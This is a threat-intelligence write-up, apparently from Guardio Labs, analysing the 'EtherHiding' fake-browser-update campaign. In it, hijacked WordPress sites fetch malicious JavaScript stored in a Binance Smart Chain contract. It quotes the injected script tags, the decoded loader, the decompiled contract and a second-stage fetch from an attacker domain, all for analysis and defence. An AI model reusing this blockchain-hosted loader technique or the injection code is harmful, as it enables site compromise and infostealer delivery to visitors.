“EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts
2023-10-13 14:16:48 Author: medium.com(查看原文) 阅读量:16 收藏


By Nati Tal, Oleg Zaytsev (Guardio Labs)

“EtherHiding” presents a novel twist on serving malicious code by utilizing Binance’s Smart Chain contracts to host parts of a malicious code chain in what is the next level of Bullet-Proof Hosting.

Over the last two months, leveraging a vast array of hijacked WordPress sites, this threat actor has misled users into downloading malicious fake “browser updates”. While their initial method of hosting code on abused Cloudflare Worker hosts was taken down, they’ve quickly pivoted to take advantage of the decentralized, anonymous, and public nature of blockchain. This campaign is up and harder than ever to detect and take down.

Dive into our analysis to grasp this game-changing technique that might just transcend standard phishing and malware campaigns.

In the last 2 months or so, we have been facing yet another “fake-update” malware propagation campaign. In the attack flow, a site is defaced with a very believable overlay demanding a browser update before the site can be accessed. The fake “update” turns out to be vicious infostealer malware like RedLine, Amadey, or Lumma.

The compromised Softoniclabs WordPress-based site, defaced to propagate malware

This campaign, named “ClearFake”, identified by Randy McEoin, begins its attack on compromised WordPress sites where attackers embed a concealed JS code. This initial “bridgehead” code is injected into article pages and retrieves a second-stage payload from a server controlled by the attackers, which then carries out the rest of the site defacement.

Using this method, the attacker can remotely and instantly modify the infection process and display any message they want. It can change tactics, update blocked domains, and switch out detected payloads without re-accessing the WordPress sites. In the case of ‘ClearFake’, the second-stage code was hosted on Cloudflare Workers. This was effective until CloudFlare blocked those accounts, potentially halting the entire campaign.

Yet, in this evolution of “ClearFake”, we see that threat actors have introduced a novel method of hosting malicious code both anonymously and without any limitations — a real “Bullet Proof” hosting facilitated by the Blockchain.

The new infection process, at first glance, is the same as before — using the same domains and IP addresses, yet on the first entry of the compromised WordPress site we see new unfamiliar network traffic directed to Binance-controlled servers. What does Binance, one of the world’s largest cryptocurrency exchanges, have to do with it all? Well, let’s examine the new variant of the first stage code:

<script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script>
<script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz

The two script tags described above are the means by which threat actors take over an entire WordPress site. Attackers insert this code into the primary template of a WordPress site, often exploiting vulnerable plugins (e.g. Balada Injector), outdated WordPress versions, or using stolen site credentials acquired from the dark web.

The code above is just Base64 obfuscated, translated to the following being executed on every page loaded from the compromised site:

// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
signer = provider.getSigner(),
address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
ABI = [
{ inputs: [{ internalType: "string", .......},
{ inputs: [], name: "get", ......},
{ inputs: [], name: "link", ....... },
contract = new ethers.Contract(address, ABI, provider),
link = await contract.get();
window.onload = load;

This part of the malicious code queries the BSC BlockChain. It creates a new contract instance by initializing it with the provided, attacker-controlled, blockchain address. It also provides the ABI (Application Binary Interface) that declares the contract’s functions and structure. The function that is called is get(), and it will basically query the contract to return a specified payload to be later decoded and evaluated as JavaScript code with the eval() function.

The attack flow — from querying the BlockChain to total site defacing and malware download

OK wait… what is this BSC? And what are those contracts anyhow?

BSC, or Binance Smart Chain, launched three years ago, is Binance’s answer to Ethereum, designed to run decentralized apps and “smart contracts” more efficiently. While Ethereum is a publicly owned blockchain with cryptocurrency and contracts capabilities, BSC is owned by Binance and focuses on contracts: coded agreements that execute actions automatically when certain conditions are met. These contracts offer innovative ways to build applications and processes. Due to the publicly accessible and unchangeable nature of the blockchain, code can be hosted “on-chain” without the ability for a takedown.

This is what we see here in this attack — malicious code is hosted and served in a manner that can’t be blocked. Unlike hosting it on a Cloudflare Worker service as was mitigated on the earlier variant. Truly, it is a double-edged sword in decentralized tech.

We can’t see the actual code used to compile this contract, yet we do have access to its bytecode (decentralized and transparent after all). Once decompiled we can see its simple functionality in action:

def storage:
stor0 is array of struct at storage 0

def update(string _newName) payable:
require calldata.size - 4 >= 32
require _newName <= -1
require _newName + 35 < calldata.size
if _newName.length > -1:
revert with 'NH{q', 65
require _newName + _newName.length + 36 <= calldata.size
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
if _newName.length:
stor0[].field_0 = Array(len=_newName.length, data=_newName[all])

def get() payable:
if bool(stor0.length):
if bool(stor0.length) == stor0.length.field_1 < 32:
revert with 'NH{q', 34
if stor0.length.field_1:
if 31 < stor0.length.field_1:
mem[128] = uint256(stor0.field_0)
idx = 128
s = 0
while stor0.length.field_1 + 96 > idx:
mem[idx + 32] = stor0[s].field_256
idx = idx + 32
s = s + 1
return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
mem[128] = 256 * stor0.length.field_8
return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]),

def unknown1c4695f4() payable:

This is a simple contract app that uses the storage function of the contract (the array variable stor0). The method update() saves the input to this storage — byte by byte and the method get() reads the storage and returns its value as a string. That way, by interacting with the contract, data can be written or updated on the chain.

We can see this in the transactions history on the BSC, starting on contract creation on the 9th of September 2023 by another attacker-controlled address. That other address, created in late June 2022, was loaded with BNB (The Binance Coin) in an amount just enough to create and update the contract — activities that are not actually payable, yet do cost some minor customary “gas” fees (between 0.02 to 0.60 USD each):

Attacker-controlled BSC addresses — from funding, contract creation, and ongoing code updates

Only the first update of the contract is clearly a test (as it actually included only the string “test”) but all the following are obvious pieces of JavaScript code. When the first entries are quite simple, the latter add more JavaScript obfuscation techniques but keep on doing just the same few simple activities as seen in this first entry (after decoding from Base64):

const get_k_script = () => {
let e = new XMLHttpRequest();
return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText;

This is exactly the same code we’ve seen on earlier variants of ClearFake (as returned from the CloudFlare service), only the second stage domain is being changed on an almost daily basis — this shows how easy it is to update the entire attack chain with a simple blockchain transaction.

We see that each time their domain is “burned” an update to the chain is issued to swap the malicious code and affiliated domains — at least 30 malicious domains and counting.

Getting back to the attack flow, once the first stage code on the compromised WordPress site loads, it calls the Binance’s SDK eth_call method on the BlockChain and fetches the malicious JavaScript code above.

eth_call is a read-only and cost-free operation, originally designed to simulate contract execution for reading data or testing without any real-world impact. As such, it is not even recorded on the blockchain. So you get a free, untracked, and robust way to get your data (the malicious payload) without leaving traces. As an example, the compromised website makes your browser broadcast this JSON RPC command to the chain:

"method": "eth_call",
"params": [
"to": "0x7f36d9292e7c70a204facc2d255475a861487c60",
"data": "0x6d4ce63c"
"id": 44,
"jsonrpc": "2.0"

And getting back the following response (truncated for display):

"jsonrpc": "2.0",
"id": 44,
"result": "0x000000[..]00000e385a6e56755933527062323467624368594c4[........]"

The resulting payload is a binary-coded string, exactly the one that was pushed to that contract using the update() method just a day before. It includes the latest second-stage domain address, which is being queried to get yet another payload to evaluate and execute on your browser.

Note that this second stage domain is hosted on the same Russian-based IP address and follows the attack flow of the earlier ClearFake variant. The action is of defacing the site with a quite advanced and well-designed deceptive overlay page — localized and customized per almost all popular browsers in use:

ClearFake’s deceptive browser update notices

Well, there are inherent challenges in mitigating this kind of abuse due to the decentralized nature of blockchain systems.

Once a smart contract is deployed on BSC, it operates autonomously. Binance can’t just “shut it down.” The only thing they can do and currently offer — is the ability of the community and developers to be warned about a contract if identified as malicious or part of an illegal activity. How? Well, it is being tagged on the official BSCScan service as such:

BscScan — Binance’s official BSC explorer showing Fake and Malicious tags

Indeed, the address used to deliver the malicious code was clearly marked as “Fake_Phishing2561”. Is this enough? Hardly. As this is not an address used in any financial or other activity that victims can be lured to transfer funds or any other kind of Intellectual property to — visitors of compromised WordPress sites have no clue as to what is going on under the hood. This contract, tagged as Fake Malicious or whatnot, is still online and delivers the malicious payload — apparently, as of today, there is NO WAY TO STOP IT.

A critical point of intervention to halt such campaigns lies in understanding why WordPress sites are so vulnerable and frequently compromised, as they serve as primary gateways for these threats to reach a vast pool of victims. To protect your site and, eventually, all your visitors, you should always keep your WordPress infra and plugins updated, safeguarding credentials, using robust, periodically-changed passwords and just keeping an eye on what is happening in your site!

And back to the big picture. Traditionally, many malicious campaigns are curtailed by blocking domains, and IPs, or issuing abuse reports to providers. Financially crippling these perpetrators often becomes the final resort. However, the advent of blockchain, as demonstrated by “EtherHiding”, ushers in new challenges.

Beyond this specific exploit, blockchain can be misused in myriad ways, from malware propagation stages to data exfiltration of stolen credentials and files, all eluding traditional law enforcement shutdown methods.

While Web 3.0 heralds innovation, malicious actors continually adapt, leveraging its benefits for nefarious gains. As for Binance, We can’t really blame them, as the data is free for all and everyone can check and detect misuse — but hey, why won’t Binance just disable any query to already tagged as “Malicious” addresses? Or at least let’s disable this eth_call debug method for unvalidated contracts?

Related BSC Addresses/Contracts:

3ed Stage IP Addresses:

3rd Stage Attacker Controlled Domains:

Compromised WordPress Sites (Detected Last 14 Days):
--> 510 More Domains Here --> https://pastebin.com/x23iWvix

Malware Hashes (samples):

Malware Filename samples (Note UNICODE abuse in filenames):

文章来源: https://medium.com/@guardiosecurity/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16